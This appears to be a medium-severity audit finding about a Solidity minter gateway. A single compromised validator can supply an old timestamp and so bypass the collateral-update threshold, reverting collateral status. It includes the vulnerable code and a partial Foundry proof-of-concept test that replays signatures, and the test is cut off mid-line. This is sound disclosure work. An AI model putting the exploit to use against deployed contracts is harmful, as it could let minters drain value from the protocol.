MEDIUM severity: The vulnerability lies in the `updateCollateralValidatorThreshold` mechanism, which is designed to e. The vulnerability lies in the `updateCollateralValidatorThreshold` mechanism, which is designed to ensure that a minimum number of validators must confirm the validity of `updateCollateral` data before updating a minter's collateral status. However, this mechanism can be bypassed by a single comprom...

Vulnerable code:
```\nminTimestamp_ = _verifyValidatorSignatures(\n    msg.sender,\n    collateral_,\n    retrievalIds_,\n    metadataHash_,\n    validators_,\n    timestamps_,\n    signatures_\n);\n_updateCollateral(msg.sender, safeCollateral_, minTimestamp_);\n```\n```\nfunction _updateCollateral(\n    address minter_,\n    uint240 amount_,\n    uint40 newTimestamp_\n) internal {\n    uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;\n\n    if (newTimestamp_ <= lastUpdateTimestamp_) {\n        revert StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);\n    }\n\n    _minterStates[minter_].collateral = amount_;\n    _minterStates[minter_].updateTimestamp = newTimestamp_;\n}\n```\n```\nfunction test_collateralStatusTimeTravelBySingleHackedValidator() external {\n    _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_THRESHOLD, bytes32(uint256(2)));\n\n    // Arrange validator addresses in increasing order.\n    address[] memory validators = new address[](2);\n    validators[0] = _validator2;\n    validators[1] = _validator1;\n\n    uint initialTimestamp = block.timestamp;\n    bytes[] memory cacheSignatures = new bytes[](2);\n\n    // 1. Deposit 100e6 collateral, and set malicious validator timestamp to `initialTimestamp+1` during `updateCollateral()`.\n    {\n        vm.warp(block.timestamp + 100);\n\n        uint256[] memory retrievalIds = new uint256[](0);\n        uint256[] memory timestamps = new uint256[](2);\n        timestamps[0] = block.timestamp;\n        timestamps[1] = initialTimestamp + 1;\n\n        bytes[] memory signatures = new bytes[](2);\n        signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);\n        signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1, _validator1Pk);\n        cacheSignatures = signatures;\n\n        vm.prank(_minter1);\n        _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\n\n        assertEq(_minterGateway.collateralOf(_minter1), 100e6);\n        assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 1);\n    }\n\n    // 2. Retrieve all collateral, and set malicious validator timestamp to `initialTimestamp+2` during `updateCollateral()`.\n    {\n        vm.prank(_minter1);\n        uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);\n\n        vm.warp(block.timestamp + 100);\n\n        uint256[] memory newRetrievalIds = new uint256[](1);\n        newRetrievalIds[0] = retrievalId;\n\n        uint256[] memory timestamps = new uint256[](2);\n        timestamps[0] = block.timestamp;\n        timestamps[1] = initialTimestamp\n```